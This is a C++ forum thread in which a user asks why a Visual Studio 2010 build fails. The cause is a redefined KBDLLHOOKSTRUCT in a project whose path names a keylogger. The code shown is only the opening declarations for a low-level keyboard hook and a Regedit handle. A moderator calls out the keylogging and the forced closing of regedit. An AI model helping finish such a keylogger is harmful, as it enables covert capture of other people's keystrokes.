Compiler Error in Visual Studios 2010

This is a discussion on Compiler Error in Visual Studios 2010 within the C++ Programming forums, part of the General Programming Boards category; Hey so I have recently been trying to port a bunch of my projects to Visual Studios 2010 and have ...

  1. #1
    Registered User
    Join Date
    Nov 2010
    Posts
    6

    Compiler Error in Visual Studios 2010

    Hey so I have recently been trying to port a bunch of my projects to Visual Studios 2010 and have run into an issue with a number of projects written in C++. Here is the code and compiler error:

    Code:
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <fstream>
    #include <stdio.h>
    #include <iostream>
    
    using namespace std;
    
    
    HHOOK hHook;
    char filePath[MAX_PATH];
    HMODULE getCurH;
    HKEY hKey;
    HWND Regedit;
    
    
    DWORD WINAPI DesWindows(LPVOID);
    LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
    
    typedef struct tagKBDLLHOOKSTRUCT 
    {
    	DWORD vkCode;
    	DWORD scanCode; 
    	DWORD flags; 
    	DWORD time;
    	DWORD dwExtraInfo; 
    }
    Code:
    1>------ Build started: Project: logger_vuni, Configuration: Debug Win32 ------
    1>  main.cpp
    1>c:\documents and settings\hp_administrator\my documents\c++ workspace\windows programs\keylogger vuniversity\logger_vuni\logger_vuni\main.cpp(22): error C2011: 'tagKBDLLHOOKSTRUCT' : 'struct' type redefinition
    1>          c:\program files\microsoft sdks\windows\v7.0a\include\winuser.h(943) : see declaration of 'tagKBDLLHOOKSTRUCT'
    1>c:\documents and settings\hp_administrator\my documents\c++ workspace\windows programs\keylogger vuniversity\logger_vuni\logger_vuni\main.cpp(50): error C2027: use of undefined type 'tagKBDLLHOOKSTRUCT'
    1>          c:\program files\microsoft sdks\windows\v7.0a\include\winuser.h(943) : see declaration of 'tagKBDLLHOOKSTRUCT'
    1>c:\documents and settings\hp_administrator\my documents\c++ workspace\windows programs\keylogger vuniversity\logger_vuni\logger_vuni\main.cpp(50): error C2227: left of '->vkCode' must point to class/struct/union/generic type
    ========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========
    The code segment I provided is the first couple lines of a project, it defines a structure that is later used by a windows API keyboard hook. It compiles fine on VC++ 6 but due to the fact that VC++ 6 is old and has little support I thought switching to 2010 made good sense. Guessing by the compiler output I am using an include that is defined somewhere else as well, and Visual C++ 2010 wont have it! Can someone please tell me what I need to do to my includes to stop this error.

  2. #2
    the hat of redundancy hat nvoigt's Avatar
    Join Date
    Aug 2001
    Location
    Hannover, Germany
    Posts
    3,139
    If the project is C++, you don't need this "tagXXX" and typedef. That's for C.

    struct KBDLLHOOKSTRUCT
    {
    DWORD vkCode;
    DWORD scanCode;
    DWORD flags;
    DWORD time;
    DWORD dwExtraInfo;
    };

    The error probably means that you forgot to supply a name for your typedef and a semicolon as well after the closing curly brace.
    hth
    -nv

    She was so Blonde, she spent 20 minutes looking at the orange juice can because it said "Concentrate."

    When in doubt, read the FAQ.
    Then ask a smart question.

  3. #3
    Algorithm Dissector iMalc's Avatar
    Join Date
    Dec 2005
    Location
    New Zealand
    Posts
    6,295
    It's telling you that you don't need to define tagKBDLLHOOKSTRUCT because it'a already defined in winuser.h which you've indirectly included already.
    My homepage
    Advice: Take only as directed - If symptoms persist, please see your debugger

    Linus Torvalds: "But it clearly is the only right way. The fact that everybody else does it some other way only means that they are wrong"

  4. #4
    Registered User
    Join Date
    Nov 2010
    Posts
    6
    Hey sorry didn't see your post iMalc, looks like taking out the tagKBDLLHOOKSTRUCT worked, it compiled I will see if the program still works as it should. Thanks!
    Last edited by ScottyK; 11-21-2010 at 11:17 AM.

  5. #5
    and the hat of wrongness Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    32,452
    Mmm, keylogging and forced closure of regedit.

    I could point out the forum rules, but you didn't read them the first time anyway.
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.
    I support http://www.ukip.org/ as the first necessary step to a free Europe.

  6. #6
    Registered User
    Join Date
    Nov 2010
    Posts
    6
    Ok well thanks iMalc I just one more quick question. I'm porting a project that uses the latest WinPcap libraries. I was wondering, as I am new to Visual Studio 2010 where exactly are the should I copy the WinPcap .h and library files? Also how do I link a my project to them?

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Issue with cin and strings
    By putzboy20 in forum C++ Programming
    Replies: 4
    Last Post: 05-11-2010, 08:38 PM
  2. what am I missing? (Program won't compile)
    By steals10304 in forum C Programming
    Replies: 3
    Last Post: 08-25-2009, 03:01 PM
  3. LDAP Query
    By Travoiz in forum C++ Programming
    Replies: 0
    Last Post: 08-13-2009, 02:58 PM
  4. Templates and Macros plus more...
    By Monkeymagic in forum C++ Programming
    Replies: 8
    Last Post: 01-20-2007, 04:53 PM
  5. We Got _DEBUG Errors
    By Tonto in forum Windows Programming
    Replies: 5
    Last Post: 12-22-2006, 04:45 PM

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21